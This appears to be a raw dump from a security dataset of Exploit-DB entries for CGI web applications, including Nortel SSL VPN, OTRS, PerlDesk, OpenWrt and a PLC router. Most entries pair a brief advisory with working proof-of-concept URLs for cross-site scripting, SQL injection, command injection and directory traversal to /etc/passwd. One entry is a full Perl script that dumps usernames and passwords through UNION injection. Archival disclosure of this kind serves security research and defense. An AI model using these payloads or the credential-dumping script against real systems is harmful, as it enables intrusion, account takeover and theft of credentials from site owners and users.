deardaniel/secdata-raw huggingface dataset:
Exploit-DB #26771
Description: Nortel SSL VPN 4.2.1.6 - Web Interface Input Validation
Type: webapps
Platform: cgi
Date: 2005-12-08
Author: Daniel Fabian

Exploit:
source: https://www.securityfocus.com/bid/15798/info

Nortel SSL VPN is prone to an input validation vulnerability. This issue could be exploited to cause arbitrary commands to be executed on a user's computer. Cross-site scripting attacks are also possible.

Nortel SSL VPN 4.2.1.6 is vulnerable to this issue; other versions may also be affected. 

https://SSL_VPN_SERVER/tunnelform.yaws?a=+cmd.exe+/c+echo+test+%3E+c:\\test.txt+&type=Custom&sp=443&n=1&ph=&pp=&0tm=tcp&0lh=127.0.0.1&0lp=8080&0hm=&0rh=10.10.10.10&0rp=80&sslEnabled=on&start=Start...
Exploit-DB #30263
Description: Oliver - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: cgi
Date: 2007-07-03
Author: A. R.

Exploit:
source: https://www.securityfocus.com/bid/24754/info

Oliver is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/oliver/gateway/gateway.exe?X_=000f&application=Oliver&displayform=main&updateform="><script>alert("XSS");</script> http://www.example.com/oliver/gateway/gateway.exe?X_=000f&displayform=main"><script>alert("XSS");</script>
Exploit-DB #23367
Description: OnlineArts DailyDose 1.1 - 'dose.pl' Remote Command Execution
Type: webapps
Platform: cgi
Date: 2003-11-10
Author: Don_Huan

Exploit:
source: https://www.securityfocus.com/bid/9000/info

It has been reported that DailyDose may be prone to a remote command execution vulnerability due to insufficient sanitization of $temp variable in dose.pl script. An attacker may submit arbitrary commands that will be executed in the context of the web server hosting the vulnerable script.

DailyDose v 1.1 has been reported to be prone to this issue however other versions may be affected as well.

http://www.example.com/cgi-bin/dose.pl?daily&somefile.txt&|ls|
Exploit-DB #31081
Description: OpenBSD 4.1 - bgplg 'cmd' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2007-10-10
Author: Anton Karpov

Exploit:
source: https://www.securityfocus.com/bid/27535/info

OpenBSD bgplg is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

bgplg shipped with OpenBSD 4.1 is vulnerable; other versions may also be affected. 

http://www.example.com/cgi-bin/bgplg?cmd=show+version<script>alert("OpenBSD%20XSS)</script>
Exploit-DB #23659
Description: OpenJournal 2.0 - Authentication Bypassing
Type: webapps
Platform: cgi
Date: 2004-02-06
Author: Tri Huynh

Exploit:
source: https://www.securityfocus.com/bid/9598/info

It has been reported that OpenJournal is prone to an authentication bypass vulnerability. This issue is caused by the application failing to properly sanitize URI specified parameters. Successful exploitation of this issue may lead to remote attackers gaining unauthorized access to online journal files associated with the application, adding new users to the database as well as a number of other possibilities.

http://www.test.com/cgi-bin/oj.cgi?db=default&uid=%00&userid=hacker&auth=adduser
Exploit-DB #34994
Description: OpenWrt 10.03 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: cgi
Date: 2010-11-13
Author: dave b

Exploit:
source: https://www.securityfocus.com/bid/44843/info

OpenWrt is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

OpenWrt 10.03 is vulnerable; other versions may also be affected.

The following example URIs are available:

http://www.example.com/cgi-bin/luci/;stok=d/admin/network/network/"/><script>alert(1);</script>

http://www.example.com/cgi-bin/luci/;stok=d/admin/system/packages?query=%22%2F%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&submit=OK
Exploit-DB #26552
Description: OTRS 2.0 - 'index.pl' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: cgi
Date: 2005-11-22
Author: Moritz Naumann

Exploit:
source: https://www.securityfocus.com/bid/15537/info
  
OTRS is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
The application is prone to multiple SQL-injection vulnerabilities, an HTML-injection vulnerability, and multiple cross-site scripting vulnerabilities. 

http://www.example.com/index.pl?QueueID=%22%3E%3Cscript%3Ealert('[XSS_HERE]')%3B%3C/script%3E%3Cx%20y=%22
http://www.example.com/index.pl?Action="><script>alert(document.title);</script><x%20"
Exploit-DB #26551
Description: OTRS 2.0 - AgentTicketPlain Action Multiple SQL Injections
Type: webapps
Platform: cgi
Date: 2005-11-22
Author: Moritz Naumann

Exploit:
source: https://www.securityfocus.com/bid/15537/info
 
OTRS is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
The application is prone to multiple SQL-injection vulnerabilities, an HTML-injection vulnerability, and multiple cross-site scripting vulnerabilities. 

http://www.example.com/admin/index.pl?Action=AgentTicketPlain&ArticleID=1&TicketID=1%20[SQL_HERE]
http://www.example.com/admin/index.pl?Action=AgentTicketPlain&TicketID=1&ArticleID=1%20[SQL_HERE]
Exploit-DB #26550
Description: OTRS 2.0 - Login Function 'User' SQL Injection
Type: webapps
Platform: cgi
Date: 2005-11-22
Author: Moritz Naumann

Exploit:
source: https://www.securityfocus.com/bid/15537/info

OTRS is prone to multiple input-validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

The application is prone to multiple SQL-injection vulnerabilities, an HTML-injection vulnerability, and multiple cross-site scripting vulnerabilities. 

http://www.example.com/index.pl?Action=Login&User=%27[SQL_HERE]
Exploit-DB #29962
Description: OTRS 2.0.4 - index.pl Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2007-05-07
Author: ciri

Exploit:
source: https://www.securityfocus.com/bid/23862/info

OTRS is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects OTRS 2.0.4; other versions may also be affected. 

http://www.example.com/server/otre/index/pl?Action=AgentTicketMailbox&Subaction=[xss]
Exploit-DB #4343
Description: Ourspace 2.0.9 - 'uploadmedia.cgi' Arbitrary File Upload
Type: webapps
Platform: cgi
Date: 2007-08-30
Author: Don

Exploit:
++++++++++++++++++++++++++++++++++++
| Discovered by Breaker_unit & Don |
| Ourspace 2.0.9|
script info: http://www.codedworld.com/download/our-space/26931.html

Exploit: /cgi-bin/ourspace/newswire/uploadmedia.cgi
dork: inurl:"/cgi-bin/ourspace/

Greetz to:
Balcan Crew Members
h4cky0u.org
and my friends: str0ke & kw3rLn
+++++++++++++++++++++++++++++++++++++++

# milw0rm.com [2007-08-30]
Exploit-DB #9357
Description: Perl$hop E-Commerce Script - Trust Boundary Input Parameter Injection
Type: webapps
Platform: cgi
Date: 2009-08-04
Author: Shadow

Exploit:
A while back I was playing around with Perl$hop, which if you are not
aware, is an e-commerce script developed by Waverider Systems.    XSS
(Cross Site Scripting), Directory Traversal, Code Execution, and more!  
Wow, that sure is a lot of vulnerabilities for one product.  It would
seem as if the developers had little to no regard for web application
security.  Which, were this not a free product, I might comment further
upon.  As this is not the case, allow me to continue.

One of the initial vulnerabilities I noticed when viewing the source
code to a product page was the existence of a hidden input field named
ITEM_PRICE.  Now we simply download the source to the page, edit the
hidden value of input field ITEM_PRICE to whatever we want, as an
example value=?0.01?, and save.  Reopen and purchase the item.  The
following checkout page will verify your success or lack thereof.  So we
can set our own price, fun stuff!

Next we examine perlshop.cgi and notice that the script does not
properly sanitize user input.  After a little variable injection we find
that the GET variable ?thispage? is vulnerable to a directory traversal
and potential code execution depending on the environment.  If you were
hoping for an exploit example, here it is:

http://target/cgi-bin/perlshop.cgi?ACTION=ENTER%20SHOP&thispage=../../../../../../../../etc/passwd&ORDER_ID=%21ORDERID%21&LANG=english&CUR=dollar

And lastly, to save myself the trouble, I?ll just say that the GET
variable CUR, thispage, LANG, and most likely others contain cross site
scripting vulnerabilities.  XSS vulnerabilities are not nearly as
critical as the aforementioned directory traversal and code execution
vulnerabilities though they should still be taken seriously as session
fixation attempts could allow a hacker to hijack accounts.

www.shadow.net 

# milw0rm.com [2009-08-04]
Exploit-DB #790
Description: PerlDesk 1.x - SQL Injection
Type: webapps
Platform: cgi
Date: 2005-02-05
Author: deluxe89

Exploit:
#!/usr/bin/perl

# Example:
# kb.cgi?view=0 UNION SELECT 1,3,password,username,3,7 FROM users

# Exploit is attached.
# ./pde.pl www.internethosting4u.com /perldesk/kb.cgi 148.244.150.58:80

use IO::Socket;

print '
########################################################
# PerlDesk exploit
#
# Usage: ./pdsploit.pl host path proxy
#
#
#
# Vunerability discovered by
#
# deluxe89 and Astovidatu [ www.security-project.org ]
#
#
#
# Special thanks to doc and WebDoctor´s
#
########################################################

';

if($#ARGV != 2)
{
       exit;
}

$host = $ARGV[0];
$path = $ARGV[1];
$proxy = $ARGV[2];
($addr, $port) = split(/:/, $proxy);

$offset = 0;

while(1)
{
       $value =
"view=0%20UNION%20SELECT%20'0','0',CONCAT('_P',password,'P_'),CONCAT('_U',username,'U_'),'0','0'%20FROM%20users%20LIMIT%20$offset,1";

       $socket = IO::Socket::INET->new(Proto => "tcp",
PeerAddr => $addr, PeerPort => $port) || die "[-]
Proxy doesn't work\n";
       print $socket "GET http://$host$path?$value
HTTP/1.1\nHost: $host\n\n";

       $user = '';
       $pass = '';
       while(defined(my $data = <$socket>))
       {
               if($data =~ m/_P(.*)P_/)
               {
                       $pass = $1;
               }
               if($data =~ m/_U(.*)U_/)
               {
                       $user = $1;
               }
       }

       if($user ne '' && $pass ne '')
       {
               print "$user:$pass\n";
       }
       else
       {
               die "[+] Finished\n";
       }

       $offset++;
}

# code by deluxe89 [ www.security-project.org ]

# milw0rm.com [2005-02-05]
Exploit-DB #24591
Description: PerlDesk Language Variable - Server-Side Script Execution
Type: webapps
Platform: cgi
Date: 2004-09-13
Author: Nikyt0x Argentina

Exploit:
source: https://www.securityfocus.com/bid/11160/info

It is reported that PerlDesk is susceptible to a server-side script execution vulnerability.

This vulnerability may be exploited to execute the contents of Perl scripts contained on the affected server filesystem. This will execute script code in the context of the affected CGI application, typically with the privileges of the web server process.

If a remote attacker does not have access to the affected server in a manner sufficient to place malicious a Perl script to exploit this vulnerability, they may still exploit it for information disclosure purposes. Error messages that will reportedly be displayed when PerlDesk attempts to include files requested by the attacker may contain potentially sensitive information. With sufficient knowledge of the affected system, an attacker may also cause other preexisting scripts to be executed that may also aid them in further attacks.

This vulnerability may aid the attacker in further application, or system attacks.

Http://www.example.com/cgi-bin/pdesk.cgi?lang=h4x0rs%20Rul3z
Http://www.example.com/cgi-bin/pdesk.cgi?lang=../../../../../../../proc/version%00
Exploit-DB #26290
Description: PerlDiver 2.31 - 'Perldiver.cgi' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2005-08-21
Author: Donnie Werner

Exploit:
source: https://www.securityfocus.com/bid/14894/info

PerlDiver is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

Version 1.x
------
http://www.example.com/[path]/perldiver.pl?testhere<SCRIPT>alert(document.domain);</SCRIPT>


version 2.x
------
http://www.example.com/[path]/perldiver.cgi?action=2020&module=<script>document.write(document.domain)</script>
Exploit-DB #24347
Description: Pete Stein GoScript 2.0 - Remote Command Execution
Type: webapps
Platform: cgi
Date: 2004-08-04
Author: Francisco Alisson

Exploit:
source: https://www.securityfocus.com/bid/10853/info

Pete Stein GoScript is prone to a remote command execution vulnerability. 

This may allow remote attackers to perform unauthorized actions on a victim computer in the context of the hosting Web server.

http://www.example.com/go.cgi?|id|
http://www.example.com/go.cgi?artarchive=|id|
Exploit-DB #21406
Description: Philip Chinery's Guestbook 1.1 - Script Injection
Type: webapps
Platform: cgi
Date: 2002-04-21
Author: markus arndt

Exploit:
source: https://www.securityfocus.com/bid/4566/info

Philip Chinery's Guestbook is freely available guestbook software. It will run on most Unix and Linux variants, as well as Microsoft Windows operating systems.

Philip Chinery's Guestbook does not filter script code from form fields. As a result, it is possible for an attacker to inject script code into pages that are generated by the guestbook. Additionally, script code is not filitered from URL parameters, making the guestbook prone to cross-site scripting attacks.

This issue has been reported for Philip Chinery's Guestbook version 1.1. Other versions may also be affected.

http://[target]/cgi-bin/guestbook.pl?action=sign&cwrite=none&Name=<script>alert("gotcha!");</script>&EMail=example@example.com&Text=css%20exam
ple
Exploit-DB #23615
Description: PJ CGI Neo Review - Directory Traversal
Type: webapps
Platform: cgi
Date: 2004-01-29
Author: Zone-h Security Team

Exploit:
source: https://www.securityfocus.com/bid/9524/info

It has been reported that PJ CGI Neo Review may be prone to a directory traversal vulnerability that may allow a remote attacker to access information outside the server root directory by using '../' character sequences.

http://www.example.com/directory/PJreview_Neo.cgi?p=/../../../../../../../../../../../../../../../../etc/passwd
Exploit-DB #22408
Description: Planetmoon - Guestbook Clear Text Password Retrieval
Type: webapps
Platform: cgi
Date: 2003-03-21
Author: subj

Exploit:
source: https://www.securityfocus.com/bid/7167/info

A vulnerability has been reported in Planetmoon Guestbook. It has been reported that remote users may be able to retrieve clear text password lists. Access to this data may allow an attacker to carry out further attacks against a target user.

http://[somehost]/[gb_dir]/files/passwd.txt
Exploit-DB #40304
Description: PLC Wireless Router GPN2.4P21-C-CN - Arbitrary File Disclosure
Type: webapps
Platform: cgi
Date: 2016-08-29
Author: Rahul Raz

Exploit:
# Exploit Title: PLC Wireless Router GPN2.4P21-C-CN Authorised Arbitrary File Disclosure
# Date: 28/08/2016
# Exploit Author: Rahul Raz
# Affected Model : GPN2.4P21-C-CN(Frimware- W2001EN-00
#Vendor: ChinaMobile
# Tested on: Ubuntu Linux
_____________________________________________________

GET
/cgi-bin/webproc?getpage=../../../etc/passwd&var:language=en_us&var:menu=setup&var:page=connected
Host: 192.168.59.254
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101
Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: sessionid=64857d81
Connection: keep-alive

Response
HTTP/1.0 200 OK
Connection: close
Content-Type: text/html
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: sessionid=64857d81; expires=Fri, 31-Dec-9999 23:59:59 GMT;
path=/


#root:x:0:0:root:/root:/bin/bash
#root:x:0:0:root:/root:/bin/sh
#root:x:0:0:root:/root:/usr/bin/cmd
#tw:x:504:504::/home/tw:/bin/bash
#tw:x:504:504::/home/tw:/bin/msh
Exploit-DB #46081
Description: PLC Wireless Router GPN2.4P21-C-CN - Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2019-01-07
Author: Kumar Saurav

Exploit:
# Exploit Title: PLC Wireless Router GPN2.4P21-C-CN -Reflected XSS 
# Date: 21/12/2018
# Exploit Author: Kumar Saurav
# Reference: https://0dayfindings.home.blog/2018/12/26/plc-wireless-router-gpn2-4p21-c-cn-reflected-xss/
# Vendor: ChinaMobile
# Category: Hardware
# Version: GPN2.4P21-C-CN (Firmware: W2001EN-00)
# Tested on: Multiple
# CVE : CVE-2018-20326

#Description: PLC Wireless Router's are vulnerable to a Reflected Cross Site Scripting (XSS).With this attack, the threat actor can steal cookies, session id, username or other sensitive information redirect an innocent victim to a malicious website, thus compromising the user. 

Reproduction Steps:
Step 1: Go to Wi-fi Router Gateway (192.168.59.254 in my case)
Step 2: Login as Username and Password
Step 3: After Login below url will be shown 
        (http://192.168.59.254/cgi-bin/webprocgetpage=html/index.html&errorpage=html/main.html&var:language=en_us&var:menu=setup&var:page=connected&var:subpage=-)
Step 4: Insert the payload "<script>alert("XSS-Saurav")</script>" at the end of the above mentinoed url and hit enter
          (http://192.168.59.254/cgi-bin/webprocgetpage=html/index.html&errorpage=html/main.html&var:language=en_us&var:menu=setup&var:page=connected&var:subpage=-<script>alert("XSS-Saurav")</script>)
Step 5: On execution of the payload, it will be popped up  as "XSS-Saurav"
Exploit-DB #25952
Description: Pngren 2.0.1 - 'Kaiseki.cgi' Remote Command Execution
Type: webapps
Platform: cgi
Date: 2005-07-07
Author: blahplok

Exploit:
source: https://www.securityfocus.com/bid/14182/info

pngren is prone to a remote arbitrary command execution vulnerability.

Reportedly, this issue arises when the user-specified values are passed to the 'kaiseki.cgi' script. Due to this, an attacker can supply arbitrary commands and have them executed in the context of the server.

This issue may facilitate unauthorized remote access in the context of the Web server to the affected computer. 

http://www.example.com/cgi-bin/kaiseki.cgi?file.exetension|command|
http://www.example.com/cgi-bin/kaiseki.cgi?|command|
Exploit-DB #27712
Description: Portal Pack 6.0 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: cgi
Date: 2006-04-20
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17628/info

Portal Pack is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Portal Pack versions 6.0 and prior are vulnerable to these issues. Other versions may be affected as well.

http://www.example.com/cgi-bin/calendar/Visitor.cgi?job=view_event&eventNo=0&sort_order=[XSS]

http://www.example.com/cgi-bin/news/NsVisitor.cgi?job=view_article&articleNo=0&sort_order=[XSS]

http://www.example.com/cgi-bin/search/search.cgi?q=[XSS]

http://www.example.com/cgi-bin/classifieds/viewcat.cgi?cat_id=[XSS]
Exploit-DB #26850
Description: PPCal Shopping Cart 3.3 - Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2005-12-15
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15892/info

PPCal Shopping Cart is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/ppcal.cgi?action=shop&user=8001&start=21
&stop=%22%3E%3Cscript%3Ealert('r0t')%3C
/script%3E

http://www.example.com/ppcal.cgi?action=shop&user=%22%3E%3Cscri
pt%3Ealert('r0t')%3C/script%3E
Exploit-DB #39137
Description: Primo Interactive CMS - 'pcm.cgi' Remote Command Execution
Type: webapps
Platform: cgi
Date: 2014-03-31
Author: Felipe Andrian Peixoto

Exploit:
source: https://www.securityfocus.com/bid/66549/info

Primo Interactive CMS is prone to a remote command-execution vulnerability because the application fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary commands in the context of the affected application.

Primo Interactive CMS 6.2 is vulnerable; other versions may also be affected. 

http://www.example.com/cgi-bin/pcm.cgi?download=;id|
Exploit-DB #26933
Description: ProjectApp 3.3 - 'links.asp?keywords' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2005-12-21
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/16011/info
   
ProjectApp is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/links.asp?keywords=[XSS]